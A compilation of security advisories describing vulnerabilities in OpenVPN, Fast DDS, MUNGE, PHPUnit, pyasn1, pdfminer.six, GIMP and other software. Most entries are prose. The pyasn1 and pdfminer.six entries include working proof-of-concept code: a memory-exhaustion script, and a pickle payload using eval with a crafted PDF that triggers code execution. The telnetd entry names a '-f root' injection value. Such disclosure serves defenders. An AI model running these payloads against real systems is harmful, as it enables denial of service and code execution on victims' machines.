A use-after-free in OpenVPN 2.6.0 through 2.6.20 and 2.7alpha1 through 2.7.4 allows remote authenticated peers to potentially cause a denial of service or leak memory via crafted packets during TLS session promotion or expiry

ext/openssl: Memory corruption in opensslencrypt with AES-WRAP-PAD

GNU SASL before 2.2.4 lacks sanitization of a short challenge in gsaslntlmclientstep in the NTLM client, which could result in memory disclosure via a crafted server.

Apache HTTP Server: modhttp2 denial of service

Last updated 6 June 2026

In the Linux kernel, the following vulnerability has been resolved:

crypto: algifaead - Revert to operating out-of-place

In OCaml opam before 2.5.1, a .install field containing a destination filepath can use ../ to reach a parent directory.

Last updated 18 August 2026

A flaw was found in the libtiff library. A remote attacker could exploit a signed integer overflow vulnerability in the putcontig8bitYCbCr44tile function by providing a specially crafted TIFF file. This flaw can lead to an out-of-bounds heap write due to incorrect memory pointer calculations, potentially causing a denial of service (application crash) or arbitrary code execution.

AWStats 8.0 is vulnerable to Command Injection via the open function

Last updated 30 June 2026

MUNGE is an authentication service for creating and validating user credentials. From 0.5 to 0.5.17, local attacker can exploit a buffer overflow vulnerability in munged (the MUNGE authentication daemon) to leak cryptographic key material from process memory. With the leaked key material, the attacker could forge arbitrary MUNGE credentials to impersonate any user (including root) to services that rely on MUNGE for authentication. The vulnerability allows a buffer overflow by sending a crafted message with an oversized address length field, corrupting munged's internal state and enabling extraction of the MAC subkey used for credential verification. This vulnerability is fixed in 0.5.18.

An incomplete fix for CVE-2024-47778 allows an out-of-bounds read in gstwavparseadtlchunk() function. The patch added a size validation check lsize + 8 > size, but it does not account for the GSTROUNDUP2(lsize) used in the actual offset calculation. When lsize is an odd number, the parser advances more bytes than validated, causing OOB read.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). Prior to versions 3.4.1, 3.3.1, and 2.6.11, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes an Out-Of-Memory (OOM) condition, resulting in remote termination of Fast-DDS. If t he fields of PIDIDENTITYTOKEN or PIDPERMISSIONSTOKEN in the DATA Submessage are tampered with — specifically by ta mpering with the the vecsize value read by readOctetVector — a 32-bit integer overflow can occur, causing std::vector ::resize to request an attacker-controlled size and quickly trigger OOM and remote process termination. Versions 3.4.1, 3 .3.1, and 2.6.11 patch the issue.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). Prior to versions 3.4.1, 3.3.1, and 2.6.11, a heap buffer overflow exists in the Fast-DDS DATAFRAG receive path. An un authenticated sender can transmit a single malformed RTPS DATAFRAG packet where fragmentSize and sampleSize are craft ed to violate internal assumptions. Due to a 4-byte alignment step during fragment metadata initialization, the code write s past the end of the allocated payload buffer, causing immediate crash (DoS) and potentially enabling memory corruption ( RCE risk). Versions 3.4.1, 3.3.1, and 2.6.11 patch the issue.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). ParticipantGenericMessage is the DDS Security control-message container that carries not only the handshake but also on going security-control traffic after the handshake, such as crypto-token exchange, rekeying, re-authentication, and token delivery for newly appearing endpoints. On receive, the CDR parser is invoked first and deserializes the messagedata (i .e., the DataHolderSeq) via the readParticipantGenericMessage → readDataHolderSeq path. The DataHolderSeq is parsed sequentially: a sequence count (uint32), and for each DataHolder the classid string (e.g. DDS:Auth:PKI-DH:1.0+Req), string properties (a sequence of key/value pairs), and binary properties (a name plus an octet-vector). The parser operat es at a stateless level and does not know higher-layer state (for example, whether the handshake has already completed), s o it fully unfolds the structure before distinguishing legitimate from malformed traffic. Because RTPS permits duplicates, delays, and retransmissions, a receiver must perform at least minimal structural parsing to check identity and sequence n umbers before discarding or processing a message; the current implementation, however, does not "peek" only at a minimal header and instead parses the entire DataHolderSeq. As a result, prior to versions 3.4.1, 3.3.1, and 2.6.11, this parsi ng behavior can trigger an out-of-memory condition and remotely terminate the process. Versions 3.4.1, 3.3.1, and 2.6.11 p atch the issue.

Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group ). Prior to versions 3.4.1, 3.3.1, and 2.6.11, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes a heap buffer overflow, resulting in remote termination of Fast-DDS. If the fields of PIDIDENTITYTOKEN or PIDPERMISSIONSTOKEN in the DATA Submessage are tampered with — specially readOctetVector reads an unchecked vecsize that is propagated unchanged into readData as the length parameter — the attacker-contro lled vecsize can trigger a 32-bit integer overflow during the length calculation. That overflow can cause large alloca tion attempt that quickly leads to OOM, enabling a remotely-triggerable denial-of-service and remote process termination. Versions 3.4.1, 3.3.1, and 2.6.11 patch the issue.

eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Prior to 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes an Out-Of-Memory (OOM) condition, resulting in remote termination of Fast-DDS. If the fields of PIDIDENTITYTOKEN or PIDPERMISSIONTOKEN in the DATA Submessage — specifically by tampering with the length field in readBinaryPropertySeq— are modified, an integer overflow occurs, leading to an OOM during the resize operation. This vulnerability is fixed in 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1.

eprosima Fast DDS is a C++ implementation of the DDS (Data Distribution Service) standard of the OMG (Object Management Group). Prior to 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1, when the security mode is enabled, modifying the DATA Submessage within an SPDP packet sent by a publisher causes an Out-Of-Memory (OOM) condition, resulting in remote termination of Fast-DDS. If the fields of PIDIDENTITYTOKEN or PIDPERMISSIONTOKEN in the DATA Submessage — specifically by tampering with the length field in readPropertySeq — are modified, an integer overflow occurs, leading to an OOM during the resize operation. This vulnerability is fixed in 2.6.11, 2.14.6, 3.2.4, 3.3.1, and 3.4.1.

tcpflow is a TCP/IP packet demultiplexer. In versions up to and including 1.61, wifipcap parses 802.11 management frame elements and performs a length check on the wrong field when handling the TIM element. A crafted frame with a large TIM length can cause a 1-byte out-of-bounds write past tim.bitmap[251]. The overflow is small and DoS is the likely impact; code execution is potential, but still up in the air. The affected structure is stack-allocated in handlebeacon() and related handlers. As of time of publication, no known patches are available.

Overview

A vulnerability has been discovered involving unsafe deserialization of code coverage data in PHPT test execution. The vulnerability exists in the cleanupForCoverage() method, which deserializes code coverage files without validation, potentially allowing remote code execution if malicious .coverage files are present prior to the execution of the PHPT test.

Technical Details

Affected Component: PHPT test runner, method cleanupForCoverage() Affected Versions: <= 8.5.51, <= 9.6.32, <= 10.5.61, <= 11.5.49, <= 12.5.7

Vulnerable Code Pattern

php if ($buffer !== false) { // Unsafe call without restrictions $coverage = @unserialize($buffer); }

The vulnerability occurs when a .coverage file, which should not exist before test execution, is deserialized without the allowedclasses parameter restriction. An attacker with local file write access can place a malicious serialized object with a wakeup() method into the file system, leading to arbitrary code execution during test runs with code coverage instrumentation enabled.

Attack Prerequisites and Constraints

This vulnerability requires local file write access to the location where PHPUnit stores or expects code coverage files for PHPT tests. This can occur through:

CI/CD Pipeline Attacks: A malicious pull request that places a .coverage file alongside test files, executed when the CI system runs tests using PHPUnit and collects code coverage information Local Development Environment: An attacker with shell access or ability to write files to the project directory Compromised Dependencies: A supply chain attack inserting malicious files into a package or monorepo

Critical Context: Running test suites from unreviewed pull requests without isolated execution is inherently a code execution risk, independent of this specific vulnerability. This represents a broader class of Poisoned Pipeline Execution (PPE) attacks affecting CI/CD systems.

Proposed Remediation Approach

Rather than just silently sanitizing the input via ['allowedclasses' => false], the maintainer has chosen to make the anomalous state explicit by treating pre-existing .coverage files for PHPT tests as an error condition.

Rationale for Error-Based Approach:

1. Visibility Over Silence: When an invariant is violated (a .coverage file existing before test execution), the error must be visible in CI/CD output, alerting operators to investigate the root cause rather than proceeding with sanitized input 2. Operational Security: A .coverage file should never exist before tests run, coverage data is generated by executing tests, not sourced from artifacts. Its presence indicates: A malicious actor placed it intentionally Build artifacts from a previous run contaminated the environment An unexpected filesystem state requiring investigation 3. Defense-in-Depth Principle: Protecting a single deserialization call does not address the fundamental attack surface. Proper mitigations for PPE attacks lie outside PHPUnit's scope: Isolate CI/CD runners (ephemeral, containerized environments) Restrict code execution on protected branches Scan pull requests and artifacts for tampering Use branch protection rules to prevent unreviewed code execution

Severity Classification

Attack Vector (AV): Local (L) — requires write access to the file system where tests execute Attack Complexity (AC): Low (L) — exploitation is straightforward once the malicious file is placed Privileges Required (PR): Low (L) — PR submitter status or contributor role provides sufficient access User Interaction (UI): None (N) — automatic execution during standard test execution Scope (S): Unchanged (U) — impact remains within the affected test execution context Confidentiality Impact (C): High (H) — full remote code execution enables complete system compromise Integrity Impact (I): High (H) — arbitrary code execution allows malicious modifications Availability Impact (A): High (H) — full code execution permits denial-of-service actions

Mitigating Factors (Environmental Context)

Organizations can reduce the effective risk of this vulnerability through proper CI/CD configuration:

Ephemeral Runners: Use containerized, single-use CI/CD runners that discard filesystem state between runs Code Review Enforcement: Require human review and approval before executing code from pull requests Branch Protection: Enforce branch protection rules that block unreviewed code execution Artifact Isolation: Separate build artifacts from source; never reuse artifacts across independent builds Access Control: Limit file write permissions in CI environments to authenticated, trusted actors

Fixed Behaviour

When a .coverage file is detected for a PHPT test prior to execution, PHPUnit will emit a clear error message identifying the anomalous state. This ensures:

Visibility: The error appears prominently in CI/CD output and test logs Investigation: Operations teams can investigate the root cause (potential tampering, environment contamination) Fail-Fast Semantics: Test execution stops rather than proceeding with an unexpected state

Recommendation

Update to the patched version immediately if a project runs PHPT tests using PHPUnit with coverage instrumentation in any CI/CD environment that executes code from external contributors. Additionally, audit the project's CI/CD configuration to ensure:

Pull requests from forks or untrusted sources execute in isolated environments Branch protection rules require human review before code execution CI/CD runners are ephemeral and discarded after each build Build artifacts are not reused across independent runs without validation

Last updated 26 June 2026

GNU InetUtils contains an argument injection vulnerability in telnetd that could allow for remote authentication bypass via a "-f root" value for the USER environment variable.

Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

Details

The integer issue can be found in the decoder as reloid += ((subId << 7) + nextSubId,): https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

PoC

For the DoS: py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource

Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMITAS, (10010241024, 10010241024)) print("[] Memory limit set to 100MB") except: print("[-] Could not set memory limit")

Test with different payload sizes to find the DoS threshold payloadsizemb = int(sys.argv[1])

print(f"[] Testing with {payloadsizemb}MB payload...")

payloadsize = payloadsizemb 1024 1024 Create payload with continuation octets Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' payloadsize + b'\x00' length = len(payload)

DER length encoding (supports up to 4GB) if length < 128: lengthbytes = bytes([length]) elif length < 256: lengthbytes = b'\x81' + length.tobytes(1, 'big') elif length < 2562: lengthbytes = b'\x82' + length.tobytes(2, 'big') elif length < 2563: lengthbytes = b'\x83' + length.tobytes(3, 'big') else: # 4 bytes can handle up to 4GB lengthbytes = b'\x84' + length.tobytes(4, 'big')

Use OID (0x06) for more aggressive parsing maliciouspacket = b'\x06' + lengthbytes + payload

print(f"[] Packet size: {len(maliciouspacket) / 1024 / 1024:.1f} MB")

try: print("[] Decoding (this may take time or exhaust memory)...") result = decoder.decode(maliciouspacket, asn1Spec=univ.ObjectIdentifier())

print(f'[+] Decoded successfully') print(f'[!] Object size: {sys.getsizeof(result[0])} bytes')

# Try to convert to string print('[] Converting to string...') try: strresult = str(result[0]) print(f'[+] String succeeded: {len(strresult)} chars') if len(strresult) > 10000: print(f'[!] MEMORY EXPLOSION: {len(strresult)} character string!') except MemoryError: print(f'[-] MemoryError during string conversion!') except Exception as e: print(f'[-] {type(e).name} during string conversion')

except MemoryError: print('[-] MemoryError: Out of memory!') except Exception as e: print(f'[-] Error: {type(e).name}: {e}')

print("\n[] Test completed")

Screenshots with the results:

DoS <img width="944" height="207" alt="Screenshot20251219160840" src="https://github.com/user-attachments/assets/68b9566b-5ee1-47b0-a269-605b037dfc4f" />

<img width="931" height="231" alt="Screenshot20251219152815" src="https://github.com/user-attachments/assets/62eacf4f-eb31-4fba-b7a8-e8151484a9fa" />

Leak analysis

A potential heap leak was investigated but came back clean: [] Creating 1000KB payload... [] Decoding with pyasn1... [] Materializing to string... [+] Decoded 2157784 characters [+] Binary representation: 896001 bytes [+] Dumped to heapdump.bin

[] First 64 bytes (hex): 01020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081020408102040810204081

[] First 64 bytes (ASCII/hex dump): 0000: 01 02 04 08 10 20 40 81 02 04 08 10 20 40 81 02 ..... @..... @.. 0010: 04 08 10 20 40 81 02 04 08 10 20 40 81 02 04 08 ... @..... @.... 0020: 10 20 40 81 02 04 08 10 20 40 81 02 04 08 10 20 . @..... @..... 0030: 40 81 02 04 08 10 20 40 81 02 04 08 10 20 40 81 @..... @..... @.

[] Digit distribution analysis: '0': 10.1% '1': 9.9% '2': 10.0% '3': 9.9% '4': 9.9% '5': 10.0% '6': 10.0% '7': 10.0% '8': 9.9% '9': 10.1%

Scenario

1. An attacker creates a malicious X.509 certificate. 2. The application validates certificates. 3. The application accepts the malicious certificate and tries decoding resulting in the issues mentioned above.

Impact

This issue can affect resource consumption and hang systems or stop services. This may affect: - LDAP servers - TLS/SSL endpoints - OCSP responders - etc.

Recommendation

Add a limit to the allowed bytes in the decoder.

net-snmp is a SNMP application library, tools and daemon. Prior to versions 5.9.5 and 5.10.pre2, a specially crafted packet to an net-snmp snmptrapd daemon can cause a buffer overflow and the daemon to crash. This issue has been patched in versions 5.9.5 and 5.10.pre2.

NULL pointer dereference in TagSection.keys() in python-apt on APT-based Linux systems allows a local attacker to cause a denial of service (process crash) via a crafted deb822 file with a malformed non-UTF-8 key.

alinto SOGo 5.12.3 is vulnerable to Cross Site Scripting (XSS) via the "userName" parameter.

Summary

pdfminer.six will execute arbitrary code from a malicious pickle file if provided with a malicious PDF file. The CMapDB.loaddata() function in pdfminer.six uses pickle.loads() to deserialize pickle files. These pickle files are supposed to be part of the pdfminer.six distribution stored in the cmap/ directory, but a malicious PDF can specify an alternative directory and filename as long as the filename ends in .pickle.gz. A malicious, zipped pickle file can then contain code which will automatically execute when the PDF is processed.

Details

python Vulnerable code in pdfminer/cmapdb.py:233-246 def loaddata(cls, name: str) -> Any: name = name.replace("\0", "") # Insufficient sanitization filename = "%s.pickle.gz" % name # ... path construction ... path = os.path.join(directory, filename) # If filename is an absolte path, directory is ignored # ... return type(str(name), (), pickle.loads(gzfile.read())) # Unsafe deserialization

An attacker can: 1. Create a malicious PDF with a CMap reference like /malicious 2. Place a malicious pickle file at /malicious.pickle.gz 3. When the PDF is processed, pdfminer loads and deserializes the malicious pickle 4. The pickle deserialization can execute arbitrary Python code

POC

Malicious PDF

Create a PDF with a malicious CMAP entry:

5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] > endobj

Here the /Encoding points to /pdfs/malicious. Pdfminer will append the extension .pickle.gz to this filename. Place the PDF in a file called /pdfs/malicious.pdf.

Malicious Pickle

Create a malicious, zipped pickle to execute. For example, with this Python script:

python #!/usr/bin/env python3 import pickle import gzip

def createdemopickle(): print("Creating demonstration pickle file...")

# Create payload that executes code AND returns a dict (as pdfminer expects) class EvilPayload: def reduce(self): # This function will be called during unpickling code = "print('Malicious code executed.') or exit(0) or {}" return (eval, (code,))

democmapdata = EvilPayload()

# Create the pickle file that the path traversal would access targetpath = "./malicious.pickle.gz"

try: with gzip.open(targetpath, 'wb') as f: pickle.dump(democmapdata, f) print(f"✓ Created demonstration pickle file: {targetpath}") return targetpath

except Exception as e: print(f"✗ Error creating pickle file: {e}") return None

if name == "main": createdemopickle()

This will create a harmless, zipped pickle file that will display "Malicious code eecuted." then exit when deserialized. Put the file in /pdfs/malicious.pickle.gz.

Test

Install pdfminer.six and run pdf2text.py /pdfs/malicious.pdf. Instead of processing the PDF as normal you should see the output:

$ pdf2txt.py malicious.pdf Malicious code executed!

Impact

If pdfminer.six processes a malicious PDF which points to a zipped pickle file under the control of an attacker the result is arbitrary code execution on the victim's system. An attacker could execute the Python code of their chosing with the permissions of the process running pdfminer.six.

The difficulty in achieving this depends on the OS, see below.

Linux, MacOS - harder to exploit

On Linux-like systems only files on the filesystem can be resolved. An attacker would need to provide the malicious PDF for processing and the malicious pickle file would need to be present on the target system in a location that the attacker already knows, since it needs to be set in the PDF itself. In many cases this will be difficult to exploit because even if the attacker provides both the PDF and the pickle file together, there would be no way to know in advance which full path to the pickle file to specify. In many cases this would make exploitation difficult or impossible. However:

An attacker may find a way to write files to a known location on the target system or The system in question may, by design, read files from a known location such as a network share designated for PDF ingestion.

Overall, there is generally less risk on a Linux or Linux-like system.

Windows - easier to exploit

Windows paths can specify network locations e.g. WebDAV, SMB. This means that an attacker could host the malicious pickle remotely and specify a path to the it in the PDF. Since there is no need to get the malicious pickle file on to the target system, exploitation is easier on a Windows OS.

Appendix

A complete, malicious PDF is provided here. A dockerized POC is available upon request.

%PDF-1.4 1 0 obj << /Type /Catalog /Pages 2 0 R > endobj

2 0 obj << /Type /Pages /Kids [3 0 R] /Count 1 > endobj

3 0 obj << /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R /Resources << /Font << /F1 5 0 R > > > endobj

4 0 obj << /Length 44 > stream BT /F1 12 Tf 100 700 Td (Malicious PDF) Tj ET endstream endobj

5 0 obj << /Type /Font /Subtype /Type0 /BaseFont /MaliciousFont-Identity-H /Encoding /#2Fpdfs#2Fmalicious /DescendantFonts [6 0 R] > endobj

6 0 obj << /Type /Font /Subtype /CIDFontType2 /BaseFont /MaliciousFont /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 > /FontDescriptor 7 0 R > endobj

7 0 obj << /Type /FontDescriptor /FontName /MaliciousFont /Flags 4 /FontBBox [-1000 -1000 1000 1000] /ItalicAngle 0 /Ascent 1000 /Descent -200 /CapHeight 800 /StemV 80 > endobj

xref 0 8 0000000000 65535 f 0000000009 00000 n 0000000058 00000 n 0000000115 00000 n 0000000274 00000 n 0000000370 00000 n 0000000503 00000 n 0000000673 00000 n trailer << /Size 8 /Root 1 0 R > startxref 871 %%EOF

GIMP XWD File Parsing Heap-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of XWD files. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-27823.